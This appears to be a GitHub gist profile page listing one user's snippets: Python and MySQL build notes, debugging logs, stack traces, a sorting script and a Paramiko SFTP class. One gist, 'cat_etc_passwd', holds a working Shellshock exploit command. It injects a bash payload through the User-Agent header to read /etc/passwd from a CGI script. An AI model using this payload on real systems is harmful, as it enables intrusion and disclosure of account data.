Skip to content

Instantly share code, notes, and snippets.

Shahriyar Rzayev ShahriyarR

View GitHub Profile
View info_file_for_compiling_from_source_python.txt
# Get specific version of Python
wget https://www.python.org/ftp/python/3.5.3/Python-3.5.3.tgz
tar -xf Python-3.5.3.tgz
cd Python-3.5.3
-- Open Setup.dist file and search for zlib, uncomment zlib notes:
* nano Modules/Setup.dist
# See http://www.gzip.org/zlib/
zlib zlibmodule.c -I$(prefix)/include -L$(exec_prefix)/lib -lz
@ShahriyarR
ShahriyarR / failed_full_backup
Created Nov 9, 2017
The output of assertion
View failed_full_backup
ssh://shahriyar.rzaev@10.10.6.202:22/home/shahriyar.rzaev/virtualenvs/py_3_5_3_autoxtrabackup/bin/python3 -u /home/shahriyar.rzaev/virtualenvs/py_3_5_3_autoxtrabackup/bin/autoxtrabackup -v -lf /home/shahriyar.rzaev/autoxtrabackup2.log -l DEBUG --defaults_file=/home/shahriyar.rzaev/XB_TEST/server_dir/xb_2_4_ps_5_7.conf --test_mode
2017-11-09 17:16:28 DEBUG <pid.PidFile object at 0x7fdc75f674a8> entering setup
2017-11-09 17:16:28 DEBUG <pid.PidFile object at 0x7fdc75f674a8> create pidfile: /tmp/MySQL-AutoXtraBackup/autoxtrabackup.pid
2017-11-09 17:16:28 DEBUG <pid.PidFile object at 0x7fdc75f674a8> check pidfile: /tmp/MySQL-AutoXtraBackup/autoxtrabackup.pid
2017-11-09 17:16:28 WARNING Enabled Test Mode!!!
2017-11-09 17:16:28 DEBUG Starting Test Mode
2017-11-09 17:16:28 DEBUG Trying to get basedir path...
2017-11-09 17:16:30 DEBUG Could get PS basedir path returning...
2017-11-09 17:16:30 ERROR Please pass proper already generated config file!
2017-11-09 17:16:30 ERROR Please check also i
@ShahriyarR
ShahriyarR / sort_algo.py
Last active Jun 12, 2017
Sort Algorithms implementation in Python3
View sort_algo.py
# This gist is for showing sorting algorithms implementation in Python
unsorted = [91, 6279, 157, 9823, 8585, 2760, 8432, 8427, 7461, 8186, 9528, 1651, 6768, 5913, 8443, 8603, 6856, 6405, 269, 9630, 7744, 3810, 4474, 8856, 1583, 1222, 7331, 1048, 3121,
8411, 5355, 6412, 4039, 4522, 3741, 9726, 9853, 1510, 7038, 330, 5614, 4706, 9815, 9700, 3208, 586, 6563, 2875, 2685, 6364, 5359, 8073, 9329, 8063, 2512, 3775, 9026, 9871,
9862, 1028, 6389, 5597, 25, 9091, 3260, 9377, 7274, 641, 8088, 9837, 2606, 3255, 1896, 1520, 666, 8842, 1939, 4606, 8992, 8292, 9155, 188, 6498, 5047, 2300, 5783, 9103, 3260, 9835, 2670, 1194, 1952, 1273, 7411, 6943, 3632, 5149, 2139, 5521, 6360, 1864, 1509, 9719, 4914, 3471, 9152, 4543, 3157, 9346, 1354, 1015, 6918, 2608, 7906, 9803, 450,
550, 1040, 3815, 1141, 9998, 7920, 3208, 1838, 5582, 8378, 7785, 176, 1433, 8350, 9611, 3919, 3849, 8751, 9484, 3218, 4387, 5544, 2121, 3165, 9618, 483, 4970, 1932, 3289,
8025, 7385, 6975, 637, 7245, 9279, 9232, 3419, 5388, 9097, 5893, 2747, 4329, 1932,
View pt-pmp output for #81615
[root@mysql-57 ~]# pt-pmp --pid=1499
Mon May 30 14:00:33 GST 2016
7 __io_getevents_0_4(libaio.so.1),LinuxAIOHandler::collect(os0file.cc:2448),LinuxAIOHandler::poll(os0file.cc:2594),os_aio_linux_handler(os0file.cc:2650),os_aio_handler(os0file.cc:2650),fil_aio_wait(fil0fil.cc:5803),io_handler_thread(srv0start.cc:308),start_thread(libpthread.so.0),clone(libc.so.6)
3 pthread_cond_wait,wait(os0event.cc:165),os_event::wait_low(os0event.cc:165),os_event_wait_low(os0event.cc:534),sync_array_wait_event(sync0arr.cc:475),TTASEventMutex::wait(ut0mutex.ic:89),spin_and_try_lock(ib0mutex.h:850),enter(ib0mutex.h:850),PolicyMutex<TTASEventMutex<GenericPolicy>(ib0mutex.h:850),buf_page_io_complete(buf0buf.cc:5815),fil_aio_wait(fil0fil.cc:5837),io_handler_thread(srv0start.cc:308),start_thread(libpthread.so.0),clone(libc.so.6)
3 pthread_cond_wait,wait(os0event.cc:165),os_event::wait_low(os0event.cc:165),os_event_wait_low(os0event.cc:534),sync_array_wait_event(sync0arr.cc:475),rw_lock_x_lock_func(sync0rw.cc:795),
@ShahriyarR
ShahriyarR / MySQL-QA-Episode-3-Notes
Last active Aug 29, 2015
MySQL-QA-Episode-3-Notes
View MySQL-QA-Episode-3-Notes
From link -> https://www.percona.com/blog/2015/07/07/mysql-qa-episode-3-how-to-use-the-debugging-tool-gdb/
=======================================================================================================================================
1. GDB settings:
vim ~/.gdbinit
set trace-commands on
set pagination off
View cmake_mysql
BUILD MYSQL WITH DEBUG + VALGRIND!
Dependencies:
yum install ncurses ncurses-devel valgrind valgrind-devel openssl openssl-devel zlib zlib-devel
Cmake command:
cmake
-DCMAKE_INSTALL_PREFIX=/opt/mysql
View strace_process
x=1; while [ $x = 1 ]; do process=`pgrep -u fake`; if [ $process ]; then x=0; fi; done; strace -o /home/fake/strace5.txt -vvtf -s 256 -p $process
View linux_usefull_commands
# Shows CPU utilization by processes (the most 20):
ps -eo pcpu,pid,user,args | sort -k 1 -r | head -20
View cat_etc_passwd
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://192.168.1.88/cgi-bin/fuck.cgi
@ShahriyarR
ShahriyarR / sftp_connection.py
Last active Aug 29, 2015
SFTP Connection Class Using Paramiko
View sftp_connection.py
import paramiko
import os
import subprocess
class SFTPConnection:
"""
Class for SFTP Connection using Paramiko
"""
You can’t perform that action at this time.